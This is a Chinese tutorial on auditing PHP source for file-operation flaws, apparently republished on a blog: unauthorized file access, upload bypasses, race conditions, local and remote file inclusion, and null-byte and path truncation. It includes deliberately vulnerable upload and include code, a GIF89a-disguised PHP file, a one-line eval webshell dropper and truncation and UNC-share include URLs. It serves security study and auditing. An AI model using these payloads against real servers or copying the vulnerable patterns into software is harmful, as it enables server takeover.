zoukankan      html  css  js  c++  java
  • 代码审计之文件操作

    0x00 总体说明

    含:越权访问、文件上传、文件包含、文件下载、文件删除、漏洞防护等tips

    0x01 文件越权和上传搜索技巧

    1. 越权访问

    1.1 文件头未引入像global.php或common.php 的文件极有可能会被越权访问

    1.2 搜索技巧:

    在etc下查找没有包含“common.php”字符串的php文件

    find /etc -name "*.php" | xargs grep -L "common.php"

    在etc下查找所有包含“common.php”字符串的PHP文件

    find /etc -name "*.php" | xargs grep "common.php"

    其他命令参考:http://sundful.iteye.com/blog/1730385

    1.3 案例

    wooyun-2010-098084

    某些文件存在越权访问(无需登录即可访问)
    经过WooYun-2015-97939和WooYun-2015-97649的审计得到以下结论:没有包含根目录下global.php的文件,都可以直接访问不会跳转到登陆界面
    于是查找可能存在越权访问的文件:

    $ find -name "*.php" | xargs grep -L -E "^require_once.+(../global|[^/]global).php.+;$"

     2.文件上传

    PS:由于代码获知不全,无法全面剖析

    2.1 首先全局搜索type=”file”来判断有没有上传点(关键词”$_FILE”是查找上传文件逻辑处理的地方):

    find /code -name  "*.php" | xargs grep "type="file"" > a.txt

    2.2 

    xx00也是用的php的框架,所以我们打开主页找mvc框架的影子:

    www.xx00.com/gold_auction/auction_details/532

    www.xx00.com/index/baoming

    根据上面两条和源码结构,判断功能函数在/application/controller/目录下
    并且判断出http的请求功能函数时应该遵循domain/action/function/param格式。

    2.3 我们打开/application/views/phone_test/display.php,发现上传的action=”upload”

    2.4 打开/application/controller/phone_test.php,找到upload函数,分析代码可知存在上传漏洞

    from:微信公众号 301在路上

    0x02 文件上传漏洞挖掘

    文件上传漏洞是一种非常常见的漏洞类型,也是直接获取服务器权限最直接的方式,所以快速发掘一套源码文件上传漏洞进行getshell是这篇要讨论的,主要分为危险函数、上传技巧和条件竞争漏洞三方面展开。 

    1. 危险函数

    move_uploaded_file()

    getimagesize()

    copy()

    2. 知识分类

    2.1 危险函数move_uploaded_file()   wooyun-2010-0154077

    2.2 上传技巧

    2.2.1 %00截断 (GPC开启就废 http://www.joychou.org/index.php/web/truncated.html)

    案例:wooyun-2010-0138671

    <html>
    <body>
    
    <h2> File Upload Vulnerability </h2>
    <form action="" method="post" enctype="multipart/form-data">
    <label>文件:</label>
    <input type="file" name = "file" >   <!-- 选择文件,第二个name是file类型的名字,php中$_FILES第一个参数-->
    <input type="submit" value="submit" name = "upload">
    </form>
    
    </body>
    </html>
    
    
    <?php
    error_reporting(0);
    
    if(isset($_POST['upload']))
    {
        $ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
        $file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr))
        {
            $tempFile = $_FILES['file']['tmp_name'];
            // 这句话的$_REQUEST['jieduan']造成可以利用截断上传
            $targetPath = $_SERVER['DOCUMENT_ROOT']."/".$_REQUEST['vul'].rand(10, 99).date("YmdHis").".".$file_ext;
            if(move_uploaded_file($tempFile,$targetPath))
            {
                echo '上传成功'.'<br>';
                echo "<br >";
                echo '路径:'.$targetPath;
            }
            else
            {
                echo("上传失败");
            }
    
        }
    else
    {
        echo("上传失败");
    }
    
    }
    
    ?>

    2.2.2 文件头(Gif89a)或者Content-type绕过案例

    案例:wooyun-2010-047304

    <?php
    var_dump(getimagesize("shell.php"));
    ?>
    
    #shell.php 内容
    GIF89a
    <?php if(!isset($_POST['c'])){phpinfo();exit();}?>

    若无GIF89a,直接PHP文件,会回显bool(false)

    2.3 条件竞争漏洞

    <?php
    $path = $_GET('P');
    copy("image.jpg",$path);
    //真实环境里会对目录下非jpg的文件进行删除,这里为了说明问题简单化处理
    unlink($path);
    ?>

    image.jpg的代码如下:

    <?php fputs(fopen('../shell.php','w'),'<?php @eval($_POST[cmd]) ?>'); ?>

    函数copy()  copy成temp.php --> 不断访问temp.php -> temp.php 生成shell.php -> 删除temp.php

    案例: wooyun-2013-024919    wooyun-2014-048202    wooyun-2014-049794

    0x03 文件包含漏洞

    文件包含漏洞产生的原因是传入的文件名没有经过合理的校验,从而让黑客包含了精心构造的文件最终造成的代码注入。所以一套源码快速发掘并利用文件包含getshell是这篇要讨论的,主要分为危险函数、本地文件包含、远程文件包含截断技巧四方面展开。

    0x0a 知识分类

    1. 危险函数:include()  include_once()  require()  require_once()

    2. 本地文件包含: e.g.  wooyun-2010-0159386

    3. 远程文件包含:

    3.1 普通远程文件包含:条件:allow_url_include=on   allow_url_fopen=on     案例:wooyun-2010-0126273

    3.2 伪协议 : 条件 all_url_include = on   php://input和php:filter

    3.3 包含共享文件:条件 all_url_include=on   e.g. http://localhost/?bob=\192.168.1.102shareindex.php

    4.截断技巧(PHP5.3 就修复)

    4.1 %00截断

    (GPC开启就废http://www.joychou.org/index.php/web/truncated.html)

    wooyun-2013-042144     wooyun-2010-0151653    wooyun-2010-0182886

    4.2 多个./截断

    windows 240个. 或者./ 可以阶段  http://localhost/a.php?c=test.txt././././...

    linux 2038个/.截断案例

    wooyun-2010-02236

    wooyun-2010-058128

    0x0b本地文件包含

    本地文件包含漏洞常用的场景是用户上传头像image.jpg,image.jpg里存在PHP一句话木马,然后我们利用本地文件包含将image.jpg加载进来即可执行一句话命令从而getshell。缺陷代码如下:

    <?php include($_GET['action']); ?>

    程序本意是获取action并引入action里的功能函数,这里我们上传了头像image.jpg,然后包含进来发现在页面显示了phpinfo的信息:

    0x0c 远程文件包含

    1. 普通远程文件包含

    条件:allow_url_include=on(默认off)、allow_url_fopen=on

    <?php include($_GET['action']); ?>

    若allow_url_include=off

    若all_url_include=On 测试结果如下

    2.有限制的远程文件包含

    条件:allow_url_include=on

    伪协议php://input和php://filter包含

    测试发现可以继续愉快的包含了

    包含共享文件

    这种情况是你可以传到文件到内网某台服务器192.168.192.129,假如这台服务器是ftp是开了共享的就可以通过下面方法进行包含:

    http://localhost/fileinclude.php?action=\192.168.192.129share est.txt

     0x0d 截断技巧

    1.PHP%00截断

    截断条件:

    ①PHP版本小于5.3.4,详情请查看[CVE-2006-7243](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-7243)

    ②magic_quotes_gpc=Off,否则%00这种空字符会被转义为

    搭建好满足上面两个条件的测试环境后,可以用下面的漏洞代码来测试:

    <?php include($_GET['action'].".zip" ); ?>

    不同之处是这里后面强制加了zip的后缀,所以需要通过截断的技巧来继续包含

     

    2.多个./截断

    截断条件:PHP版本小于5.3

    Windows240个.或者./可以截断

    测试240个点截断成功如下图(win10 据实际测试233个.也可以成功,但少一个便会报错):

     

    last-update

  • 相关阅读:
    flex 布局
    5个有用的 CSS 布局生成器
    js 函数
    js 类定义的方法(最终)
    js && ||
    css position 盒子模型
    eldatepicker选择时间,限定选择的时间段
    Java基础学习总结——Java对象的序列化和反序列化
    pytorch自定义算子
    网站上视频下载后保存为MP4格式
  • 原文地址:https://www.cnblogs.com/shellr00t/p/5731469.html
Copyright © 2011-2022 走看看